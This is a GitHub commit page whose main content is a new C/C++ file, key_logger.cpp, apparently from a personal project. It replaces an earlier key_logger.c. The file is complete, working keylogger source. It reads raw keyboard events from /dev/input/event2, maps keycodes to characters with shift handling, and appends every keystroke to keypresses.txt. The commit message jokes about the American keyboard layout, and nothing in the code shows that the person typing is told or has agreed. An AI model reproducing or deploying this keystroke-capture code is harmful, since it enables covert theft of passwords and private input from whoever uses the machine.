Skip to content

Commit 359e3e2

Browse files
committed
Output the keypresses as normal text, my chromebook keyboard is in American so has weird binds (Who thinks shift + 2 is @, it should obviously be ")
1 parent 98f477b commit 359e3e2

File tree

2 files changed

+115
-35
lines changed

2 files changed

+115
-35
lines changed

src/linux/key_logger.c

Lines changed: 0 additions & 35 deletions
This file was deleted.

src/linux/key_logger.cpp

Lines changed: 115 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,115 @@
1+
#include <linux/input.h>
2+
#include <fcntl.h>
3+
#include <unistd.h>
4+
#include <stdio.h>
5+
#include <stdlib.h>
6+
7+
char keycode_to_char(int code, int shift) {
8+
if (code == KEY_Q) return shift ? 'Q' : 'q';
9+
if (code == KEY_W) return shift ? 'W' : 'w';
10+
if (code == KEY_E) return shift ? 'E' : 'e';
11+
if (code == KEY_R) return shift ? 'R' : 'r';
12+
if (code == KEY_T) return shift ? 'T' : 't';
13+
if (code == KEY_Y) return shift ? 'Y' : 'y';
14+
if (code == KEY_U) return shift ? 'U' : 'u';
15+
if (code == KEY_I) return shift ? 'I' : 'i';
16+
if (code == KEY_O) return shift ? 'O' : 'o';
17+
if (code == KEY_P) return shift ? 'P' : 'p';
18+
19+
if (code == KEY_A) return shift ? 'A' : 'a';
20+
if (code == KEY_S) return shift ? 'S' : 's';
21+
if (code == KEY_D) return shift ? 'D' : 'd';
22+
if (code == KEY_F) return shift ? 'F' : 'f';
23+
if (code == KEY_G) return shift ? 'G' : 'g';
24+
if (code == KEY_H) return shift ? 'H' : 'h';
25+
if (code == KEY_J) return shift ? 'J' : 'j';
26+
if (code == KEY_K) return shift ? 'K' : 'k';
27+
if (code == KEY_L) return shift ? 'L' : 'l';
28+
29+
if (code == KEY_Z) return shift ? 'Z' : 'z';
30+
if (code == KEY_X) return shift ? 'X' : 'x';
31+
if (code == KEY_C) return shift ? 'C' : 'c';
32+
if (code == KEY_V) return shift ? 'V' : 'v';
33+
if (code == KEY_B) return shift ? 'B' : 'b';
34+
if (code == KEY_N) return shift ? 'N' : 'n';
35+
if (code == KEY_M) return shift ? 'M' : 'm';
36+
37+
if (code == KEY_SPACE) return ' ';
38+
if (code == KEY_ENTER) return '\n';
39+
if (code == KEY_TAB) return '\t';
40+
if (code == KEY_COMMA) return ',';
41+
if (code == KEY_DOT) return '.';
42+
if (code == KEY_SLASH) return '/';
43+
if (code == KEY_SEMICOLON) return ';';
44+
if (code == KEY_APOSTROPHE) return '\'';
45+
if (code == KEY_LEFTBRACE) return '[';
46+
if (code == KEY_RIGHTBRACE) return ']';
47+
if (code == KEY_BACKSLASH) return '\\';
48+
if (code == KEY_MINUS) return '-';
49+
if (code == KEY_EQUAL) return '=';
50+
51+
if (code == KEY_1) return shift ? '!' : '1';
52+
if (code == KEY_2) return shift ? '@' : '2';
53+
if (code == KEY_3) return shift ? '#' : '3';
54+
if (code == KEY_4) return shift ? '$' : '4';
55+
if (code == KEY_5) return shift ? '%' : '5';
56+
if (code == KEY_6) return shift ? '^' : '6';
57+
if (code == KEY_7) return shift ? '&' : '7';
58+
if (code == KEY_8) return shift ? '*' : '8';
59+
if (code == KEY_9) return shift ? '(' : '9';
60+
if (code == KEY_0) return shift ? ')' : '0';
61+
62+
return 0;
63+
}
64+
65+
void handle_backspace(FILE *log) {
66+
fseek(log, -1, SEEK_END);
67+
68+
fputc(' ', log);
69+
fflush(log);
70+
71+
fseek(log, 0, SEEK_END);
72+
}
73+
74+
int main() {
75+
int fd = open("/dev/input/event2", O_RDONLY);
76+
if (fd < 0) {
77+
perror("open event device");
78+
return 1;
79+
}
80+
81+
FILE *log = fopen("keypresses.txt", "a");
82+
if (!log) {
83+
perror("fopen");
84+
return 1;
85+
}
86+
87+
struct input_event ev;
88+
int shift = 0;
89+
90+
while (1) {
91+
ssize_t n = read(fd, &ev, sizeof(ev));
92+
if (n != sizeof(ev)) continue;
93+
94+
if (ev.code == KEY_LEFTSHIFT || ev.code == KEY_RIGHTSHIFT) {
95+
shift = (ev.value == 1) ? 1 : 0;
96+
}
97+
98+
if (ev.type == EV_KEY && ev.value == 1 && ev.code == KEY_BACKSPACE) {
99+
handle_backspace(log);
100+
continue;
101+
}
102+
103+
if (ev.type == EV_KEY && ev.value == 1) {
104+
char c = keycode_to_char(ev.code, shift);
105+
if (c) {
106+
fputc(c, log);
107+
fflush(log);
108+
}
109+
}
110+
}
111+
112+
close(fd);
113+
fclose(log);
114+
return 0;
115+
}

0 commit comments

Comments
 (0)